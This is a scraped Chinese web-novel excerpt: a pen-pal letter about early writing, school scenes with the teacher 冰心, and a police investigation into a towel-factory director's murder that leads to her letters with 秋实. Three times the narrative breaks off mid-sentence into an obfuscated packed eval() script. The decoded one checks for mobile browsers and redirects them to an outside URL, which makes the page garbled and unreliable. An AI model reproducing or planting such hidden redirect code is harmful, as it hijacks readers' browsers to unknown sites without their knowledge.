我写在烟盒纸上的第一篇小说,现在想想其实都不能叫小说,充其量就是编了个故事,写的是一个孤僻不合群的高中女学生被班里同学排挤,却自命不凡的故事。其实就是模仿王小波那本《一只特立独行的猪》写的,和你一样,我最初的写作也是从模仿开始的,看来这是所有创作者的起点。女主角叫方翠翠,就是沈从文《边城》里的那个翠翠,因为很喜欢这个人物所以取了这个名字,这也是模仿。但那时候我还不明白这个道理,只是错把模仿当作灵感,又从自己最熟悉的校园生活中选材,凭着一股创作的冲动,或者说下意识想要写点什么的本能,就这么开始写小说了。 一开始特别雄心壮志,满脑子想着自己的处女作要写多少多少万字,甚至连写完以后投稿到哪个文学刊物,出名以后爸爸妈妈、老师同学会有什么反应都想好了。结果最后好像只写了两万字不到就写不下去了,开始动笔的时候全凭着一股冲动,只构思好了小说的开头就开始写了,接下来剧情怎么发展、故事的主线是什么,完全没有考虑好。脚踩西瓜皮滑到哪里是哪里地写,毫无规划,自然就写不下去了。 不过我到现在还记得当时琢磨了好久写出来的、让我洋洋得意了很久的一段话:“他们都嘲笑她自命清高,嘲笑她的特立独行,方翠翠却自得其乐。她热爱孤独,不以孤独为荣,但以孤独为生,毕竟孤独是最干净的。世界那么大,却有那么多的千篇一律,她只是从不看着别人的眼睛照自己的镜子而已。”现在回头来看,写得实在矫揉造作,可我后来再没有写得这样真诚过。 回想起来,初中时候的我满脑子都是天马行空、光怪陆离的幻想,每天除了上课写作业就是做白日梦,幻想着不存在于现实中的故事,幻想着读到的文学作品里的情节画面,觉得什么都可以实现。那时候虽然知道家里穷,但对穷意味着什么并没有具体的概念,也从来没想过未来自己将会走什么样的路。那时候的烦恼只有考试没考好和小说写不出来,那时候总觉得天空永远都那么蓝,阳光永远都那么灿烂。 写第一篇小说的那十几张烟盒纸原本被我好好地收在房间的抽屉里,有一年过年回老家的时候突然想翻出来回味一下,却怎么找也找不到,才知道被我妈整理房间时当废品卖掉了。我忍不住又矫揉造作了一回:这青春的残骸原本就所剩无几,这下可算全部付诸一炬,烟消云散了。 青春早已一去不复返了,但我的写作从未停止。 仔细想想,我到底是为了什么而写作?为什么会怀抱着如此巨大的创作热情?而且这种热情至今已经维持了整整十二年,我也有过其它兴趣,没有一个像写作这样持续这么久,久到几乎已经成为了习惯。除了想要创造出自己幻想中的人物和世界,我想也许更本质、更重要的一点是:与其说我热爱写作,不如说我无法停止写作,因为写作是我唯一用来对抗这个狗屁倒灶的世界的方式。 生活已经如此辛苦,身上枷锁满身,如果再不写点什么来对抗这种让人觉得无力透顶的现实,我怕我会忘记自己本来的样子,成为小时候最讨厌的那种满脑子除了单纯地活着以外空无一物的大人。 高中语文老师邓老师曾经讲过一个我特别喜欢的故事:1955年,美国黑人女裁缝罗莎·帕克斯在实行种族隔离的公共汽车上拒绝给一个白人男子让座。按照当时的法律,黑人必须给白人让座,罗莎·帕克斯以往也和其他黑人一样老老实实让座,但那一天,她忽然厌倦了每天遭受到的不公平待遇,倔强地告诉威胁她的司机和警察:“我只是讨厌屈服。”之后,她因为公然蔑视白人而被逮捕。 我特别敬佩罗莎·帕克斯,我也想做那只特立独行的猪。 祝你天天开心。 秋实 1999年5月18日 - 学校一定是世界上最能制造噪音的地方之一:向阳小学的课间充斥着学生聒噪的吵闹声,时而夹杂着发人来疯的小孩子的尖叫,或者“咚咚咚”从走廊上飞奔过去的声音。冰心不记得自己小时候是不是也是这样精力充沛,也顾不上回忆,她只知道自己现在快要疯了—— “袁老师,黄丽丽剪了她的头发洒在我书包里!” “谁叫你在我桌上写‘猪头’骂我的?” “……我没有!” “袁老师——李飞撒谎,他写了,我同桌也看见了!” “不是我写的,我没有!” 一男一女两个五年级学生正围着她争执得面红耳赤,相互揭对方的短,谁也不肯让谁。旁边还有围观的学生在拱火起哄,叽叽喳喳七嘴八舌地插嘴,教室里乱成一锅粥。冰心被他们倒豆子一样快的对话绕得晕头转向,左看看右看看,一个比一个表现得信誓旦旦,一个比一个表现得像真的一样,焦头烂额地分辨到底谁对谁错。 眼看那个女学生捏紧了拳头就要朝男同学脸上挥过去,冰心脑中警铃大作,唯恐上班第一天班级里就出伤害事故,顾不上当包青天判案,赶紧冲上去拦。 “李飞、黄丽丽,你们两个又闯什么祸了!”一个长头发的年轻女老师踩着皮鞋气势汹汹、健步如飞地走进来,冰心和两个学生一起被吓得浑身一抖,冷不丁想起小时候作文里写的“一头雄姿怒发的狮子雄赳赳气昂昂地走来”,“李飞,欺负女生算什么本事?黄丽丽,手给我放下来了,君子动口不动手懂不懂?来,两个人一人一张纸,给我把事情的前因后果写下来,写完我给你们对一对,到底是谁先惹的事!” 劈头盖脸一通话下来,刚才冰心怎么劝都不依不饶的两个学生跟变了个人似的,一句话没有,鹌鹑似的乖乖拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听冰心说她是为了寻找写作灵感才来当老师的,关小荷双眼发亮,下班后她又迅速恢复了文艺女青年的范儿,兴致勃勃地追问:“怎么样怎么样,今天有没有积累到什么有用的素材?” 冰心苦笑:“上班的时候太紧张了,满脑子想着怎么把一节课上下来,还有怎么对付不听话的学生,根本没精力想写小说的事情。现在下班了我累得要死,只想回家躺床上睡觉。之前还想得好好的,白天教书育人,体验体验老师的工作,晚上回家写小说……想得真是太美了,真是什么事情都是说起来容易,做起来才发现根本不是这么一回事。” 关小荷被逗得乐得前俯后仰,伸出手指指指她们两个人:“我们这种理想主义者不就是这样吗,只负责做梦,至于能不能实现——万一哪天就真的实现了呢?” 拎包下班的时候冰心还在庆幸上班第一天总算有惊无险地度过了,结果还没走到学校大门口,就听见保安在和人吵架:“侬个小同志哪能不讲道理?我都跟侬讲了,阿拉学校没有叫‘真真’的老师,我在这里工作了好几年了就没见过各人,侬个小同志哪能就不相信呢!” 两个穿警察制服的人正堵在校门口,站得靠后的那个手里拿着证件,压着火气解释:“她母亲说她在这里上班,大爷,我们真的是警察,您就放我们进去问一问,如果真的不在这里,我们立刻离开。” 冰心听到自己的小名,连忙小跑过去:“警察同志,我就是真真。” 刚才说话的那个警察转过头,两个人打了个照面,同时吃了一惊:那个警察竟然是孔孝贤! 只见孔孝贤走到她面前,公事公办地开口:“袁小姐你好,我们是羊城公安局的民警,经调查你涉及一起重大刑事案件,麻烦跟我们去趟派出所做笔录。” 5. 孔孝贤 孔孝贤这几天跟踩了狗屎一样倒霉。先是他妈不知道犯什么轴非逼着他去相亲,去之前他随口问了句叫什么名字?才知道相亲对象居然是他初中的同班同学——幸好问了一句,不然他真准备认认真真相亲去了。 袁冰心初中的时候讨人厌到什么程度呢?初一的时候有好事的同学私下组织了一次票选“班级里最讨厌的人是谁”的投票,袁冰心独占鳌头、高居榜首。她的丰功伟绩包括但不仅限于:看见朋友默写的时候作弊,转头就向老师举报;把同学瞒着老师闯的祸写在语文老师布置的日记作业里,导致那个同学被老师狠狠批评了一顿;日常表情忧郁,装腔作势,跟人人欠她百八十块钱一样,写的作文都是伤春悲秋、无病呻吟,偏偏还被语文老师表扬文采好,拿来当范文,孔孝贤一听那些矫揉造作的语句就想吐;假清高,自命不凡,好像所有人都是俗人,只有她最清新脱俗、鹤立鸡群。 其实孔孝贤和袁冰心没什么接触,他们一个坐第一排一个坐最后一排,一个数学稀巴烂一个语文稀巴烂,就是被老师叫去办公室挨骂都凑不到一块,整个初中说过的话顶天了一双手的数。 孔孝贤就记得初中上体育课的时候去操场踢球,那时候哪有现在学校新翻修的漂亮塑胶跑道,水泥地都没有,教学楼就是两层小平房,前面空着的一大块泥地就当操场了。他踢球的时候经常看见袁冰心孤零零一个人坐在蓝油漆都快掉干净的双杠上,手掌心撑在杠子上晃荡着腿望着操场发呆,或者拿个什么本子趴在教学楼前面的石阶上写写画画。 “哦——这种文艺女青年我见多了!这种人永远活在自己的世界里,眼睛里就看不见别人,脑袋里一天到晚都是天马行空的幻想,真的能做成的正经事没几件。古人有句话说得好——‘可远观而不可亵玩’,我要是你,千万离这种人远点,更别说要一起过日子了。”孔孝贤的同事兼警校同学李松涛一听他的苦恼,滔滔不绝地发表自己的看法,又是引经据典又是以己度人,唾沫星子横飞,“小孔啊,听哥们一句,你可千万不能和这种女的谈朋友,否则后面有的好你吃苦头的。” 前一天李松涛还和在警察学院读书的时候一样喊他“孝贤”,今天称呼就变成了“小孔”,原因很简单,因为李松涛升职成了孔孝贤的上司,羊城公安局刑侦一队第二小组组长。 他们两个同一年从警校毕业进入单位工作,在原本的组长调任别处后,在同样符合升职条件的情况下同台竞争这个职位——孔孝贤不敢拍着胸脯说自己比对方优秀多少,但是论工作以来的办案数量、破案成功率、两个人的工作态度和工作效率,他自认为都比李松涛强。没想到居然干脆利落地落败了,这是他最近的第二件倒霉事。 第三件事情算不上倒霉,纯属搬石头砸自己的脚:经过他的不懈努力,他人生的第一场相亲果然不欢而散,就是没想到最后在相亲这顿饭上花了超过预计三倍的钱。小半个月工资白白花出去,孔孝贤那个肉疼啊,只能安慰自己就当破财消灾,挡挡霉运。 袁冰心和初中的时候变化不大,还跟学生时代一样穿着宽松的棉服和毛裤,后脑勺扎着马尾辫。不像孔孝贤在同学聚会上见到的那些女同学个个都烫着波浪头、卷刘海儿,穿着紧身长衣、短外套、铅笔裤、长筒靴,跟批量生产出来的一样。 袁冰心说话的腔调和以前稍微变了点,以前一张口能呛死人,直冲冲,一点情面都不给人留,这次孔孝贤故意迟到又找借口糊弄,他已经做好了挨骂甚至发生肢体冲突的准备,没想到最后只是钱包出了点血。其它地方没怎么变,进餐馆前孔孝贤透过玻璃窗看见袁冰心还和初中的时候一样,手里捧着个软抄本不知道在写点什么,说话是没以前那么冲了,但眼睛里对他的鄙夷就差夺眶而出了。 他们小组调走的老组长是孔孝贤刚进警局的时候带他的师父,爱观察不同性格的人。有次办案遇到的当事人就是袁冰心这种性格,做完笔录跟孔孝贤分析:“别看这种人总是沉浸在自己的理想世界里,游离于现实生活之外,但要是把人惹毛了,跟弹簧一样物极必反,这种人的反抗是非常激烈,非常可怕的。” 李松涛这人屁话连篇,不过有句话说的没错,对袁冰心这种人最好的选择就是敬而远之。孔孝贤掂量了下得失,觉得这次失败的相亲总体还是利大于弊的。 ——没想到破了财还没消灾,霉运连连,倒霉事儿一件接着一件来:除夕那天晚上出了个杀人案子,不知道谁把本地挺大一个毛巾厂的厂长捅刀子杀了,这个案子孔孝贤知道,春节值班和同事唠嗑的时候听一组的同事囫囵说了个大概,当时他还跟着人家一起抱怨:“这帮犯罪分子就不能挑个好时候犯案,好歹让警察叔叔安安心心过个年!”因为是一组的案子,也没听太仔细。 谁知道过完年一组负责这个案子的同事“下海”辞职了,领导一合计,整个刑侦一大队只有二组刚升职的小组长李松涛和孔孝贤手头没案子,案子不交给他们给谁?问题是李松涛确实闲了有小半个月了,可孔孝贤上一个案子年初四才刚结案,大年夜晚上他还在单位通宵加班,连个团圆饭都没功夫回家吃。这才休息几天,案子又来了,还是给人擦屁股的活儿! 一组辞职的那个同事是位四十多岁的老刑警,知道对不起孔孝贤,请吃散伙饭的时候特意拉他过去大吐苦水:“过年回去的时候我媳妇问我要钱,说娃娃喜欢画画想去美术学校学。我一算,年前房东刚要了三个月的房租,你知道我爸有肺癌,前两个月去医院复查癌细胞转移到淋巴了,要住院动手术,这住一天院就是一天的钱。咱们当警察的就这点死工资,我现在手里除了点吃饭钱,连给娃娃学个兴趣爱好的钱都掏不出来!我当年也是和你一样喜欢干刑侦才来做这一行的,伸张正义,惩恶扬善……谁当初不是想着这些读警校的?我也想干下去,可是现实不允许啊!” “下海”是改革开放以后才有的,时代的飓风说吹就吹起来了,孔孝贤读警校的时候就听说有很多警察辞职下海做生意,自己开公司创业,赚得不知道比当警察翻多少倍,来钱又快又容易。等他毕业进警局的时候已经过了公职人员辞职下海的高峰期,但还是隔一阵子就听说又有人下海了,连他妈有次都试探着问他要不要试试看去做点小生意。 看着人到中年、上有老下有小的老前辈沧桑疲惫的脸孔,孔孝贤心情复杂,一连几天倒霉透顶让他的心情也糟糕透顶,忍了又忍还是没忍住,借着酒劲冲对方比了个中指:“孬种!” 等第二天酒醒过来,脑袋清醒的一瞬间孔孝贤恨不得挖个洞把自己埋进去……酒精害人,他居然也当了一次“愤青”。羞愧得脸通通红,赶紧连滚带爬起来趁人还没走去道歉。还好老刑警没在意,和他交接了毛巾厂厂长那个案子就急匆匆拎着行李赶火车去了,听说是在北京已经盘好了一个铺子,就等着开张了。 送完人他杵在警局门口发呆,李松涛来上班路过,毫不客气地嘲笑:“小孔啊,真没想到原来你也有这么热血的一面,你不知道当时你竖中指骂老宋的时候,旁边几个领导都看傻了!” 孔孝贤宿醉的头疼痛欲裂,实在没心情跟他吵架,抹了把脸进警局:“办案子吧。” 比中途接手案子帮人擦屁股更痛苦的事情,莫过于跟刚刚升职、能力还不怎么样的同龄人上司一起办案。孔孝贤把台子拍得“砰砰”响就差掀桌子了,桌上铺满的纸质材料都被他拍飞起来:“老宋查得很清楚了,最有嫌疑的就是这个光明会所的员工孙依萍,她已经失踪十二天了,老宋已经把搜查证都申请下来,就差去孙依萍家里查证据了,我们接着老宋的路子继续查下去不就好了!” 老宋就是辞职的那个老刑警,办案能力不算出众,干了二十多年刑警也就一杠一颗星,晋升无望也是他下海的原因之一。不过虽然破案率不高,老宋办案子一向很稳妥,经手的案子没出过什么太大差错。早上孔孝贤送他去火车站的路上,老宋把案子的情况跟他讲了个大概: 2月4日除夕当晚,好未来毛巾厂厂长蒋振东在家中被人捅了八刀,当场死亡,第二天儿子儿媳上门拜年时发现尸体后报警。老宋在调查过程中发现毛巾厂工人何春华的同居女友孙依萍嫌疑最大。1月29日,何春华在毛巾厂上工时发生意外,右手被卷进剪绒机,工厂送医送得晚了错过了最佳治疗时间,只能截肢,失去劳动能力。何春华的女友孙依萍是光明会所的员工,出事后她向会所请了三天假照顾何春华,2月2日本该是她返工的日期,孙依萍却没有去上班,也没有去医院,再没有人见到过她。 孔孝贤翻了老宋交接给他们的被害人家属和毛巾厂员工的笔录,觉得顺着孙依萍这条线索继续查下去最稳妥,可新官上任三把火的李松涛显然不肯走前辈的老路,他有自己的想法。 “说好听点叫会所员工,说得难听点不就是坐台小姐?这个光明会所我知道,就是给有钱人去享受的,这个孙依萍说不定是看男友出事,傍上大款远走高飞了。你看她照片上这么瘦,哪来的力气杀人,再说做鸡的不就是为了钱,怎么可能为了没钱又残疾的男友去杀人?”孔孝贤一拍台子,李松涛也跟着拍台子,“你看看毛巾厂员工的笔录,他们厂效益不好,三月份准备下岗一批工人,这些员工肯定怀恨在心。被害人儿子的笔录里也提到年前他父亲宣布要下岗工人后,家里不知道被谁砸了窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我告诉你们,你们局孙局长我认识,要是你们办不好案子,我找你们局长再换人来查!”蒋峰做生意的人精,哪里听不出来李松涛的敷衍,撂下威胁的话“啪嗒”把电话挂了。 李松涛拎着只剩忙音的听筒咒骂了两句,坐下来冷静下来,想想反正现在也找不到工人做笔录,总得给被害人家属一个交代,只好老老实实先领着孔孝贤去孙依萍家里搜查证据。 何春华、孙依萍这对小情侣租住的房子在桃源路680弄33号,李松涛和孔孝贤都是羊城本地人,之前压根就没听说过羊城还有这条路。楼房外墙都是裸露的砖块,油漆都没上一个,路窄得只能走两三个成年人,地上污水、狗屎、垃圾跟地雷一样,孔孝贤在网吧玩扫雷都没这么心惊胆战。巷子里的小路七拐八拐的跟走迷宫似的,他们问了好几次路才终于找对地方。 房子很小才十几平,和外面的脏乱差不同,这间小屋子被布置得很温馨,虽然男女主人离家多天家具都蒙上了一层灰,还是看得出来家里的摆设都是主人精心挑选回来的。甚至他们开门进来的时候桌子上的唱片机里居然还在放音乐,轻缓古怪的摇滚曲调,一个有点沙哑、轻飘飘的女人的声音在哼唱:“……在无休止的凝望中眼泪就会流出来,虽然多少次被时间抛在站台,车轮转动又是梦幻浮现脑海,期待着故事里面那一辆欲望号街车从雪中驶来……” “姜昕的《欲望号街车》。”李松涛脱口而出。 看到孔孝贤转头看他,他尴尬一笑:“我妈特别喜欢姜昕,她只出了一张唱片,里面的歌我听得都能背出来了。” “这是摇滚?”孔孝贤只知道崔健窦唯那种摇滚。 “对。”李松涛说,“我妈说这个叫什么,另类摇滚,搞不懂,她们女的喜欢的东西。” 两三平米的阳台上养着一盆仙人掌,桃源路的楼房之间都靠得特别紧,孔孝贤目测这房子一天能有一两个小时晒得到阳光就不错了,现在正好是中午十二点多,仙人掌在那扇小小的窗户前沐浴着阳光,长得欣欣向荣。他还在唱片机旁边找到了一张光盘和一本翻卷边了的书,被很珍惜地整齐放在那里,孔孝贤戴上手套拿起来,是一部叫《星际牛仔》的动漫和西蒙·波伏娃的成名作《第二性》。 “欸,孝贤,你来看。”李松涛沉浸在查证中,称呼都忘了改了,招呼孔孝贤来看床头柜上一个铁盒子里收着的厚厚一沓信。 孔孝贤一摸,得有二三十封信了,本来以为是情侣之间写的情书,没想到打开来开头的称呼都是“秋实:展信佳……”,落款都是一个叫“真真”的人。信是按照时间顺序摆放的,从97年初到今年不断,每隔一两个月就有一封,最后一封信的日期是去年的12月27日。 “这算是什么,”两个人面面相觑,“……笔友?” 6. 第一封信与回信 [询问笔录] 时间:2000年2月16日17时35分至2000年2月16日18时17分 地点:羊城公安局向阳街道派出所办公室 询问人:李松涛 工作单位:羊城公安总局刑侦第一大队 记录人:孔孝贤 工作单位:羊城公安总局刑侦第一大队 问:现在是2月16日,星期一,录音已经开始了,询问人:警员李松涛。我们是羊城公安局的民警,现依法向你询问近期好未来毛巾厂厂长被杀案的有关问题,你要如实回答询问,与案件无关的问题你有权利拒绝回答,明白了吗? 答:明白了。 问:好的,现在开始询问,请把你的姓名告诉我。 答:袁冰心。 问:你的职业是? 答:之前是羊城青年报报社的职员,1月中旬的时候辞职了,现在是向阳小学的代课语文老师,今天开学第一天我刚去上班。 问:“真真”是你的笔名? 答:对,其实是我的小名,家里人都这么叫我,我还挺喜欢这个名字的,就当作笔名了,或者去参加什么不方便讲真实姓名的活动,都报这个名字。 问:你和孙依萍是什么关系? 答:孙依萍?不认识。 问:就是和你通了二十三封信的“秋实”,她的真名是孙依萍。 答:哦……我们是笔友。我就说你们怎么知道我小名的,是不是你们在秋实的信上看到了我的笔名和我家的地址,找到我家问我妈“真真”在哪里,我妈估计也没多想,说我在向阳小学上班,所以你们找到学校的时候真以为我就叫“真真”? 问:袁小姐,我们是依法口头传唤你到派出所的,程序上没有任何违规,你还有什么问题吗? 答:没有了。 问:好的,我们继续,你和孙依萍是怎么成为笔友的? 答:97年春天……应该是四月份吧,那时候很流行在报纸上找笔友,我们报社的职工在自己家报纸上占个豆腐块大的版面还不用花钱。我那时候刚毕业工作,心血来潮也想试试,就写了寻找笔友的启事登报,要求要和我一样热爱写作。总共好像收到了五六封信,里面就有秋实的,其他几个笔友后来都怎么不联系了,和秋实因为很多方面我们两个的想法都很像,她简直就像是活在世界上的另一个我,就一直联系到现在。 问:你们在信里写什么? 答:很多,文学,音乐,电影,动画片……写作聊得最多,后来通信多了也会聊点自己的生活。 问:你们通信有固定的频率吗? 答:一般一个月左右一封信,有时候谁工作忙就隔得久一点,聊得起劲就十天半个月一封信,没什么固定频率。 问:你和她见过面吗? 答:没有。 问:你对孙依萍有哪些了解? 答:她比我小一岁,从外地来羊城工作的,老家具体是哪里的她没写过,好像是在南边。她家里条件不太好,高二的时候父亲病故,母亲改嫁,上面有一个已经工作的哥哥,跟她几乎不联系,母亲改嫁以后她就因为付不起学费辍学了。她有个叫春华的男友,谈了三四年了,感情很好,不是有个成语叫“春华秋实”吗,她就给自己取了“秋实”这个笔名。 问:你知道孙依萍从事的是什么工作吗? 答:不清楚,工作上她写的很少,她好像换过好几份工作,刚来羊城的时候还被骗子骗过。现在的工作她写过招待客人什么的,好像不是特别体面的工作。哦对了,过年之前我收到她的信,说和男友攒够了一万块钱,准备年后去北京闯闯。 问:年前?哪一天? 答:除夕那天晚上收到的信。 问:落款是什么时间? 答:好像是1月28号……对,就是28号。 问:你说孙依萍和男友过年之前就已经攒够了钱,准备离开羊城去北京? 答:对,她信里是这么写的。 问:之后你还收到过孙依萍的信吗? 答:没有,这是最后一封。 问:好的,还有没有想得起来的信息? 答:没有了。 问:孙依萍写给你的信你还保存着吗? 答:都在,在我房间里。 问:笔录结束后我们需要去你家取证,麻烦配合一下。 答:好的。那个,警察同志,我想问一下,秋实……呃,孙、依萍?她和毛巾厂厂长的事情有什么关系,她杀人了吗? 问:袁小姐,我们不能向你透露案件的相关信息,这是规定,你可以关注后续的新闻报道。 答:好吧。 问:别的没问题了,感谢对我们工作的配合。 - 真真: 您好!我在羊城青年报上读到了您刊登的寻找笔友的启事,被“我的写作格言是‘创作如同戴着镣铐舞蹈’。”这句话所吸引。我以前也遇到过几个和我一样喜欢写作、志同道合的朋友,可惜大多数都只是喜欢无病呻吟的文艺腔的伪文青,剩下那一小部分人声称热爱写作,却连创作出一篇两三千字的短篇小说都做不到,或者雄心壮志地要写小说,写了一两章过了新鲜劲就再也写不下去了,也不琢磨怎么打磨自己的写作技巧,轻而易举地就这么放弃了。但读到您这句“创作如同戴着镣铐舞蹈”,我就知道这次我终于找对人了,没有真正进行过长篇小说的创作、进入过深度写作的人,是写不出来这样的文字的。 我先来做一下自我介绍,我的笔名是“秋实”,出自成语“春华秋实”,我特别喜欢这个词,它的意思是只有春天开花,秋天才能结果,只有真诚地、辛勤地付出,才能品尝到丰收的甜味。不论是在写作上还是在生活上,我都奉行着这一点并为之努力,这个笔名对我来说非常重要,之前我曾经对现实生活非常迷茫,这个笔名仿佛是漆黑没有尽头的大海一样的人生中出现的一座灯塔,孜孜不倦为我指引着前进的方向。 我也很喜欢您的笔名,虽然知道您取这个笔名的本意也许和我的臆想南辕北辙,但“真真”这个名字真的令我一下子就联想到“真实”这个词语。我一直很渴望能看到、得到一些真实的东西,比如真相、公正、善良、正直……这个充斥着虚伪的世界里也只有那一点真实的部分还能够打动我了。 您在启事里提到最喜欢的文学作品是古龙的《多情剑客无情剑》,虽然我对武侠小说没什么兴趣,但多少大松一口气。我遇到好多文艺青年都告诉我她们喜欢亦舒或者琼瑶,简直像是批发出来的答案一样。琼瑶小说里那些白衣翩翩的男女主角们我还勉强能忍受,亦舒笔下那些拿着香槟当水喝,穿的一定是从巴黎的无名小店淘来的卡其裤的格调女人,我实在是读不下去。还好您不是这种风格,否则我又得强迫自己去读那些矫揉造作的文字来当做谈资了。 我对外国文学比较感兴趣,不是我崇洋媚外,外国人的作品确实给了我耳目一新的感觉。最近最喜欢的作品是西蒙·波伏娃《第二性》,是我上个月在旧书店淘到的。虽然应该是盗版书,纸质很差,但这本书对我的影响特别大,波伏娃是一位女权主义者,她写的内容颠覆了许多我过去的认知。我身边没有一个人听说过这本书的名字,不知道您有没有了解?如果您读过这本书,我们可以一起探讨。 我和您一样也喜欢摇滚音乐,不过我不喜欢窦唯,他的音乐里金属摇滚的部分太多了,听多了头痛,我喜欢的是他的前女友姜昕。知道她和窦唯爱恨情仇的八卦的人特别多,知道她还是一位摇滚女歌手的人很少,我觉得这很不公平。去年姜昕出了她人生的第一张唱片,明明很多业内人士都好评如潮,还连续获得了最佳新人、最佳专辑、最佳制作三个大奖,可人们谈到摇滚还是只讲窦唯和崔健,谈到姜昕还是只讲她和窦唯、王菲之间的狗血爱情故事。好像一个女人值得说道的只有她的爱情,而她的才华在男人的成就面前显得不值一提,这种评价方式实在是一种天大的不公平。 我最喜欢姜昕唱片里《欲望号街车》这首歌,这首歌里姜昕刻意压低了声音,歌声飘忽得就像天上的云絮,呓语声似的哼唱着这支曲子。但毫无疑问这仍然是摇滚,这是姜昕最棒的部分。 曾经有人指责我:“你就是故意和大众潮流作对,刻意说自己喜欢小众的东西,来彰显自己和乌合之众不一样,是多么的与众不同。”我无法否认这话在某种意义上是正确的,我喜欢姜昕可能更多的是渴望有一天自己能像她一样,靠自己所热爱的爱好养活自己,敢爱敢恨。 抱歉,一不小心话扯远了——既然我们因为写作结缘,鉴于前文我提到自己很看不上那些嘴巴上说着热爱文学,实际上却肚子里干瘪得挤不出几滴墨的人,为了不成为五十步笑一百步的伪善者,我觉得自己理应跟您分享一部分自己的作品,也帮助您对我有更深入的了解。 要跟您分享的是我从两年前就开始动笔的新作《墙》,说是新作,其实是新瓶装旧酒,把过去好几十万字自己不够满意的废稿取其精华、去其糟粕,捏成了一篇新作。这篇并不是传统意义上的小说,写的是一位专门记录道听途说的故事的写书人,来找他倾诉自己的故事的通常都是生活失意的小人物,在讲故事时他们中间隔着一堵墙,谁也看不见谁。是不是挺有意思的创意? 《墙》已经完成了一小半,总计有13万字了,上个礼拜我把已经完成的部分寄给了几家出版社,希望能收到好消息。这是小说开头主角阿比盖尔出场的部分: [阿比盖尔·道格拉斯和往常一样去伟大的慈善家们提供的免费餐车那里领到了今天的晚餐——一块夹了两片发黄生菜的汉堡和一盒过期十天的牛奶。 皮尔斯像一头牛虻一样在餐车后面忙碌,把食物打包装进塑料袋递给阿比盖尔:“道格拉斯,你真该去找一份工作!你瞧,我本来和你一样整天游手好闲,但现在,虽然每天的工资只有四美元,但感谢上帝,我拥有了一份工作。”他在胸前快速画了一个十字。 阿比盖尔摇了摇头,拿着食物走开了。 老伙计还在背后喋喋不休:“道格拉斯,别再写你那永远也出版不了的书啦!瞧瞧你的样子,头发乱糟糟的,还有胡子,上帝啊,你多久没剃胡子了?我当初认识你的时候你可是个干净体面的大学生呢!” 阿比盖尔像捉起头皮上一只虱子一样把这些话扔到身后。 他提着今天的晚餐沿着弗林德斯街一直向东走到一堵灰色的墙前,在一把靠墙的长椅上坐下。现在是太平洋时间晚上七点46分——从这个角度刚好能够看到渡轮大楼广场的钟楼,白色的塔身在黑夜里像是一把倒插在地上的巨大西洋剑。 11月中旬的旧金山已经刮起寒风,皮尔斯在餐车上加热过的汉堡已经迅速冷掉了,阿比盖尔不用吃就能熟练地想象出咀嚼起来是什么恶心的味道,像嚼一大块发硬的橡皮一样,过期的廉价牛奶则和猫尿的味道差不多。 阿比盖尔拆开汉堡的包装袋,把吸管从牛奶盒子上拆下来插进去,随手放在长椅的把手上,胡乱嘟囔了句“感谢上帝赐给我们的食物,阿门”后开始享用今天的晚餐。 当他把吃完的包装袋扔进几步以外的垃圾桶的时候,渡轮大楼广场上钟楼的大钟刚好被敲响了:“当——当——当——” 阿比盖尔回到长椅上坐下,长椅后的灰墙离地面10英寸的地方有一个拳头大小的洞,因为藏在长椅后面,几乎没有人能够发现它。现在,灰墙上的小洞后面传来了一个沙哑的声音:“你好,请问……听说、听说晚上八点这里会有人等着听故事,请问、有人吗?” “有的,”阿比盖尔回答,“你的故事是什么?”] 再抄录下去这封信就太长了,很抱歉只能跟您分享这么一小段自己的作品,不知道您读了觉得怎么样?除了给男友看过我写的小说,这还是我第一次邀请同好来读,说实在现在觉得既紧张又羞耻,希望您能够喜欢。如果您对我的作品有任何感想或者修改建议,欢迎您来信与我分享您的看法。 您收到这封信的时候,也许会奇怪为什么这么迟了还有人给您寄信,也许前面已经有好几位想要和您成为笔友的人写信给您,也许当我的信送到时,您其实已经择定了其中一位作为您的笔友。不怕您笑话,这其实是我第一次主动交朋友,我是羊城青年报的忠实读者,这期报纸一印刷出来我就去书报亭买来了,那时候就读到了您登报的启事。之所以您现在才看到这封信,是因为之前我犹豫了好几天要不要给您写信,哪怕是现在写到这里,我仍然在犹豫要不要继续往下写、写完了之后要不要寄出去。 但一想到您写的“创作如同戴着镣铐舞蹈”这句话,我又忍住羞涩,坚定起来。毫不夸张地讲,我刚读到这句话的时候简直觉得自己的心灵被击中了。 《墙》的写作进展非常缓慢,整整两年才写了13万字,等于平均两个月才写了一万字不到,要知道以前哪怕是读书的时候,我一个礼拜都能写一万字。关键问题在于我总是词不达意,无法把自己脑袋里想象的画面和氛围准确地写下来,想得很好,可是落到纸上最终呈现出来的效果却往往不尽如人意。期间我甚至一度写不下去,全文两次推翻重写,磕磕绊绊才挤出这么一丁点儿内容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055811|149204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 